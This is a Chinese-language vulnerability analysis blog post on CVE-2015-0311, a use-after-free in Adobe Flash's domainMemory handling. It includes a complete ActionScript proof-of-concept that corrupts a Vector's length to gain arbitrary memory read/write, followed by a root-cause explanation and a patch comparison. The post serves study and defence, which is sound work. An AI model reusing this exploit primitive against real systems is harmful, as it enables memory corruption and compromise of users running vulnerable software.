最近Flash 0day各种爆,抽空分析了一个手头已经有的CVE-2015-0311样本,作为flash分析的一个学习笔记,毕竟这是个flash的UAF漏洞,以前在IE里面分析比较多,在flash上却没怎么遇到过此类漏洞,因此有必要学习下在flash没有符号的情况下UAF怎么分析。
样本来源于https://malwr.com/analysis/YTgzNDAyZTg0MDI3NDZhMThmZTE4N2YxZTVkMjBhMTc/
1.反混淆
反混淆方法具体可以查看前面的文章http://www.cnblogs.com/Lamboy/p/4278066.html
这里直接略过。
2.POC
参考趋势科技的分析报告,构造的poc代码如下:
package { import flash.display.MovieClip; import flash.utils.ByteArray; import flash.utils.Endian; import flash.system.ApplicationDomain; import flash.utils.*; import flash.display.*; import avm2.intrinsics.memory.*; public final class poc extends MovieClip { public static function ByteArrayWriter(param1:ByteArray, param2:int) : void { param1.position = 0; var c:uint = 0; while(c < param1.length / 4) { param1.writeInt(param2); c++; } param1.position = 0; } public function poc() { var test_b:ByteArray=new ByteArray(); test_b.endian = Endian.LITTLE_ENDIAN; test_b.position=0; var a:uint = 0; var b:uint=0xfeedface; while(true) { if(a >= 8192/4) { break; } test_b.writeUnsignedInt(b + a); a++; } test_b.compress(); var c:uint=512; test_b.position=c; while(c<test_b.length) { test_b.writeByte(c); //modify compressed ByteArray c++; } ApplicationDomain.currentDomain.domainMemory = test_b; //set domainMemory var x:uint=0x11223344; var y:uint=0xaabbccdd; x=x+y; try { test_b.uncompress(); } catch(error:Error) { trace("exception"); }; var test_c:Vector.<uint>=new Vector.<uint>(0x7f8); for(var i:uint=0;i<0x7f8;i+=1) { test_c[i]=i; } x=x+li32(0);//read vector length si32(0x7fffffff,0x0);//modify vector length x=test_c[0x40000000]; } } }
在AIR SDK下编译通过。
3.漏洞成因
根据趋势科技的Blog描述,这是一个DomainMemory产生的UAF,主要在DomainMemory指向的ByteArray在进行Compress和Uncompress时,对内存的处理错误导致。
首先创建了一个名为test_b,大小为0×2000的ByteArray,然后初始化ByteArray的内容如下:
紧接着将ByteArray进行压缩,压缩时会创建新的Buffer来保存压缩后的数据:
之后代码会修改ByteArray位于0×200之后的数据:
将ByteArray设置为DomainMemory,设置完成后在DomainMemory中保存该ByteArray的buffer:
其中0xaab8000为DomainMemory指向的Buffer,之后紧跟着DomainMemory的大小。
此时一切都没有问题,但是接下来的代码会将该ByteArray进行解压缩,你是否还记得我们前面对ByteArray的0×200之后的数据进行了修改?
这样在用同样的算法解压缩时就会出现问题,导致解压缩失败,而avm在解压缩时通过一个叫做Grower的类来处理解压缩,该类会动态分配解压缩的
Buffer大小,这样在解压缩时先分配足够的空间并解压数据,发现解压失败则释放分配的ByteArray,不过由于这个数组比较特殊,因为他是个DomainMemory类型,这样在解压缩时先将分配的buffer更新到DomainMemory结构中,但是由于解压失败,这块buffer最终被释放了,但是DomainMemory中仍然保留了这块buffer的指针,因此在try catch捕获到解压的异常后会继续执行,但DomainMemory却指向一个被Free掉的内存:
此时的DomainMemory中指向的Buffer已经是一片释放的内容了。
接下来通过Vector来分配这块内存并填充数据:
上图可以看到,DomainMemory的buffer指向了一个Vector结构,这样就可以通过DomainMemory的专属指令来读取和修改vector大小了:
修改后的Vector:
这样就可以对内存进行全局的读写了。
4.补丁对比
Adobe在flash版本为16.0.0.296中修复了此漏洞,修复后对ByteArray进行unmpress失败后,并没有将新的Buffer更新到DomainMemory的Buffer中:
5.参考
http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0311-flash-zero-day-vulnerability/